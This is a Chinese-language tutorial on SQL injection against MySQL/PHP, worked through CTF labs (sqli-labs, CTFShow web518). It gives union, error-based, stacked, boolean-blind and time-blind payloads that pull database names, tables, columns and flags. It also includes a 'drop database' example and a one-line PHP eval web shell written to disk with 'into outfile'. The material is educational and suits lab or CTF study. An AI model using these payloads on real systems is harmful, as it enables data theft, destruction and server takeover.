我们如何触碰到数据库
SQL基础回顾
Structured Query Language (结构化 查询 语言)
自带的几个数据库
sys、mysql、performance_schema、information_schema;
数据库 information_schema(MySQL5.0版本以上才有这个库)
SCHEMATA
该表存放用户创建的所有数据库库名
- SCHEMA_NAME 字段记录数据库库名
TABLES
该表存放用户创建的所有数据库库名和表名
- TABLE_SCHEMA 字段记录数据库名
- TABLE_NAME 字段记录表名
COLUMNS
该表存放用户创建的所有数据库库名、表名和字段名
- TABLE_SCHEMA 字段记录数据库名
- TABLE_NAME 字段记录表名
- COLUMN_NAME 字段记录字段名
数据库 mysql、sys可以查出 table_name
几种注释方法:
#
-- (注意--后面需要一个空格)
--+
/*注释内容*/
参数传递时记得url编码,因为特殊字符会导致非预期的情况出现
几个函数
-
user()
:当前数据库用户 -
database()
:当前数据库名 -
version()
:当前使用的数据库版本 -
concat()
:联合数据,用于联合两条数据结果。如concat(username,0x3a,password)
-
group_concat()
:和concat()
类似,如group_concat(DISTINCT+user,0x3a,password)
,用于把多条数据一次注入出来 -
concat_ws()
:用法类似concat()
-
hex()
和unhex()
:用于 hex 编码解码 -
ASCII()
:返回字符的 ASCII 码值 -
CHAR()
:把整数转换为对应的字符 -
load_file()
:读取本地文件 -
select '<?php @eval($_POST["cmd"]);?>' into outfile '路径'
:权限较高时可直接写文件
SQL注入
——以MySQL + PHP为例
基本概念
- 服务器需要用户传一个与数据库操作有关的参数(比如查询 id=x 的人的一些信息,id就是要传的参数),然而,我们不满足于常规操作(传id=1),而是精心构造一个参数(例如 id=1;drop database test--+)来达到我们其他的目的
可能可以实现哪些操作:
- 窃取数据库中的数据
- 攻击服务器中的其他程序
- 控制服务器
PHP代码示例
// PHP + MySQL
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id'";
$result=mysql_query($sql); // mysql_query() — 发送一条 MySQL 查询,新版本PHP中替换为 mysqli_query()
判断是否需要闭合引号
——也就是是判断PHP语句中参数是否被引号包裹
sqli-labs pass1 为例
-
正常参数:id=1,成功回显信息,证明查询正常,也就证明语法无误
-
尝试:id=1#
若成功回显信息,与传递 id=1 没区别,说明参数没被引号包裹
若回显异常,进一步测试 id=1'#
若回显正常,说明参数被单引号包裹
若仍旧回显异常,测试 id=1"#
若回显正常,说明参数被双引号包裹
若还异常,说明存在其他情况
当然,还有更多方法进行测试,如 id=1 or 1=1,id=1' or '1'='1
还可以根据参数的意义来猜,比如name那就大概得是会被引号包裹,作为字符串;而id大概是没被引号包裹,作为数字
判断回显正常还是异常
上面咱们探讨了怎么通过回显正常和异常判断PHP代码中该参数是否被引号包裹,是否需要闭合引号
但是!
你怎么知道什么样的回显是"正常",什么样的是"异常"?当然你可以说"一看就知道"。。。因为可以通过是否返回预期的数据来判断
为了更严谨点,可以这么做:
①id=1 and false# ②id=1' and false# ③id=1 and true# ④id=1' and true#
如果参数没被单引号包裹,参数作为数字,则:③返回页面为正常,其余三次均为异常
如果参数被单引号包裹,参数作为数字,则:④返回页面为正常,其余三次均为异常
也就是说,只出现一次的为正常返回,顺便地,由到底是③还是④的情况只出现一次,就可以判断出参数是否被单引号包裹
注入点位置
可以是一切被服务器用来与数据库交互的参数,不局限于GET、POST
例如上述PHP代码中,$id 还可以以这些方式出现:
$id=$_POST['id'];
$id = $_COOKIE['id'];
$id = $_REQUEST['id'];
$id = $_FILES['file']['tmp_name'];
$id = $_SERVER['HTTP_HOST'];
……
(burp抓包说明
SQL注入分类
——我认为的有意义的分类
- boolean_blind(布尔型盲注):根据返回页面判断条件真假
- time_blind(时间型盲注):利用页面响应时间判断条件真假
- error_based(基于错误的注入):页面会返回错误信息
- union_query(联合查询注入):可以使用union的情况下
- stacked_queries(堆查询注入/堆叠注入):可以同时执行多条语句
几种注入方式细讲
union_query
——通过union来查询更多数据
语法要求:union两端查询语句返回列数相等
$sql="SELECT * FROM users WHERE id='$id'";
id=-1' union select 1,2,3,4,……#
#修改id为一个不存在的id,或者使用 and false ,目的是使得union前的语句无法查询到数据不占用回显位,进而使得union后的语句回显1,2,3,4……(可能不会都回显,比如实际查询结果为4列,实际只回显2列,我们需要找到回显的位置进而从这儿构造语句查询更多数据)
#ORDER BY 关键字用于对结果集进行排序。
?id=1' order by 3# --返回正常
?id=1' order by 4# --返回正常
?id=1' order by 5# --返回错误
#这就证明字段总数为4
#还有group by
查询数据
例题:CTFShow web518
?id=-1 union select 1,2,3--+
#假定此时正常回显,也就是查询到数据为3列,再假定回显位有3
#使用fuzz
?id=-1 union select 1,2,database()--+
#查到当前数据库为security
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
#查到所有schema_name为ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test,猜测 flag 在 ctfshow数据库中
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+
#查询到数据库ctfshow 中 table_name 有flagaa
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagaa'--+
#查询到数据库ctfshow中 表flagaa中 column_name 有id,flagac,猜测flag在 flagac 中
?id=-1 union select 1,2,group_concat(flagac) from ctfshow.flagaa--+
#最终成功得到flag
error_based
——页面会返回错误信息的情况下使用
例题:CTFShow web518
// 例题PHP部分源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}else {
print_r(mysql_error());
}
利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
使用条件:mysql版本>5.1.5
- 0x7e=’~’
- concat(‘a’,‘b’)=“ab”
- version()=@@version
- ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
- extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()、left()等函数截取或limit分页,一次查看最多32位
extractvalue
payload:id=0 and(select extractvalue("anything",concat('~',(select语句))))
#databases
id=0 and(select extractvalue(1,concat(0x7e,(select database()))));--+
?id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))));--+
#tables
id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='库'))));--+
#columns
id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库' and table_name="表"))));--+
#data
id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(列) from 库.表))));--+
id=0 and(select extractvalue(1,concat(0x7e,(select substring((select group_concat(flagac) from ctfshow.flagaa),1,30)))));--+
?id=0 and(select extractvalue(1,concat(0x7e,(select substring((select group_concat(flagac) from ctfshow.flagaa),31)))));--+
语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串
第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。
updatexml
payload:id=0 and(select updatexml("anything",concat('~',(select语句())),"anything"))
#databases
0 and(select updatexml(1,concat(0x7e,(select database())),0x7e))#
#tables
0 and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))#
#columns
0 and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="表名")),0x7e))#
#data
0 and(select updatexml(1,concat(0x7e,(select group_concat(列名)from 表名)),0x7e))#
语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点的值
第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同
……
stacked_queries
Stack Queries(堆叠查询)可以依次执行多个 SQL 查询语句,类似 Linux 依次执行多个命令 cd ..; ls
。不同的数据库和API 对堆叠查询的支持不一样,如MySQL 、MSSQL、PostgreSQL 本身是支持堆叠查询的,使用 ;
将多个语句分开,但是可能数据库的API 接口不支持,如 PHP的数据库查询接口就有可能不支持。堆叠查询和联合查询的区别在于:堆叠查询可以执行任何 SQL 语句(只要能成功执行,如DELECT
、INSERT
等操作),联合查询仅支持 SELECT
语句,同时两个查询语句的列数要一致。
$id = $_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1;show databases;creat database aaaa;…… --+
boolean_blind
Boolean-based blind(布尔盲注)即基于布尔值(true or false)的方法,通过 SQL语句中真假条件的执行情况推断出数据库的信息
id=1 and 1=1 --+
id=1 and 1=2 --+
id=1 and substring(version(),1,1)=5
id=1 and right(left(version(),1),1)=5
id=1 and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) ,1,1) = 'f' --+
time_blind
Time-based blind(延时盲注)即基于延时的方法,同样通过 SQL语句中真假条件的执行情况推断出数据库的信息,但是使用延时执行的函数如 Mysql 中 sleep
,使得不同条件执行查询的时间不同,自然网页上显示结果的时间存在差异,以此推断数据库的信息。
延时的方法
SLEEP
SLEEP(n)
,延时 n 秒后执行BENCHMARK
BENCHMARK(loop_count,expr)
函数用来测试 SQL 语句或者函数的执行时间,第一个参数表示执行的次数,第二个参数表示要执行的操作。通常使用使用 MD5、SHA1 等函数,执行次数 100000。GET_LOCK
MySQL 的
GET_LOCK(str, timeout)
函数尝试获取一个名字为str
的锁 ,等待timeout
秒未获得,则终止函数,函数返回 0 值,成功则返回 1。利用条件是,开启两个 MySQL 数据库连接,先后在两个连接中使用 GET_LOCK 函数获取相同名字的锁,后面使用 GET_LOCK 函数的连接无法得到锁,等待timeout
秒后执行其它操作。
id=1 and if(substr(database(),1,1)='a',sleep(2),1)--+
SQLMap
——做不出CTF题的神器 x
——sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. √
sqlmap是一个开源的渗透测试工具,可以使检测和利用SQL注入漏洞和接管数据库服务器的过程自动化。它有一个强大的检测引擎,为最终的渗透测试者提供了许多利基功能,以及广泛的开关,包括数据库指纹,从数据库中获取更多的数据,访问底层文件系统,并通过带外连接在操作系统上执行命令。
pip install sqlmap